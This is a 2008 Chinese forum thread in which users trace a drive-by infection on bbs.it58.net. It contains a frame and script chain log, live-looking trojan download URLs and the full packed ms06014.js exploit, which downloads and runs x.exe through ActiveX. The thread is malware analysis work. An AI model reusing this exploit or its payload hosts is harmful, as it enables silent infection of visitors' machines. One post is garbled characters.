小熊湖南站

显示全部楼层 · 发表于 2008-6-18 18:19:12

bbs.it58.net 请大家帮忙全部解出来.谢谢,感激不尽.

显示全部楼层 · 发表于 2008-6-18 19:22:44

我这无法访问

显示全部楼层 · 发表于 2008-6-18 19:35:03

我可以访问

Log is generated by FreShow.
[wide]http://bbs.it58.net
[script]http://www.google-analyticc.cn/urchin.js
      [frame]http://www.baiduby.cn/sky/bsn.htm
         [frame]http://www.baiduby.cn/news.html
            [script]http://www.baiduby.cn/ms06014.js
            [frame]http://www.baiduby.cn/GLWORLD.html
                  [object]http://www.yh-hotl.net/x.exe
            [script]http://www.baiduby.cn/real.js
            [frame]http://www.baiduby.cn/Real.html
            [frame]http://www.baiduby.cn/StormII.html
            [frame]http://www.baiduby.cn/Thunder.html

显示全部楼层 · 发表于 2008-6-18 19:38:03

下载地址：

http://www.yh-hotl.net/x.exe

http://www.baiduby.cn/jb.cab

显示全部楼层 · 发表于 2008-6-18 19:39:26

?

(

n

?

;

e

n

S

显示全部楼层 · 发表于 2008-6-18 19:45:31

jb.cab 解压出来的还是333B2495AB5E3D222D69CB26ECD78C7C x.exe

显示全部楼层 · 发表于 2008-6-18 19:48:06

那是肯定。

显示全部楼层 · 发表于 2008-6-18 19:48:18

http://www.baiduby.cn/ms06014.js

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(c/a))+String.fromCharCode(c%a+161)};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\[\xa1-\xff]+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(e(c),'g'),k[c])}}return p}('Á{± ¦=¶.¿("\\µ\\¨\\§\\À\\\\Â\\\\Ã\\¤\\¢\\Å\\µ\\Ä\\Æ\\º\\º\\»","");¦.¼("¾","\\®\\¤\\¤\\©\\½\\¬\\¬\\ª\\ª\\ª\\¢\\«\\·\\¨\\Õ\\³\\«\\Ñ\\¢\\§\\´\\¬\\Ð\\«\\¢\\¡\\°\\¡",0);¦.Ò();¥.Ó=1;¥.²();¥.Ô(¦.Ï);¯="..\\\\Î.Ç";¥.È(¯,2);¥.Ê();± ¸=¶.Ë("\\¹\\®\\¡\\£\\£\\¢\\Í\\©\\©\\£\\¨\\§\\·\\¤\\¨\\\\´","");¸["\\¹\\®\\¡\\£\\£\\Ì\\°\\¡\\§\\³\\¤\\¡"](¯,"","²")}É(e){}',53,53,'x65|x2e|x6c|x74|as|xml|x63|x69|x70|x77|x62|x2f|x6f|x68|path|x78|var|open|x75|x6e|x4d|ado|x61|Shell|x53|x54|x50|Open|x3a|GET|CreateObject|x72|try|x73|x66|x4c|x58|x48|com|savetofile|catch|close|createobject|x45|x41|ntuser|responseBody|x6a|x79|Send|type|write|x64'.split('|'),0,{}))

复制代码

和X是一样的东西
http://www.baiduby.cn/jb.exe

显示全部楼层 · 发表于 2008-6-18 19:55:25

MS过了很多..

显示全部楼层 · 发表于 2008-6-18 22:20:23

Warning: A virus or unwanted program has been found in the HTTP Data.

Requested URL: http://www.yh-hotl.net/x.exe
Information: Is the Trojan horse TR/Spy.Gen
Generated by AntiVir WebGuard 8.0.13.0, AVE 8.1.0.55, VDF 7.0.4.217

[已鉴定] 小熊湖南站

http://www.baiduby.cn/ms06014.js

回复 6楼冷冷的帖子

[已鉴定] 小熊湖南站

http://www.baiduby.cn/ms06014.js

回复 6楼 冷冷 的帖子

回复 6楼冷冷的帖子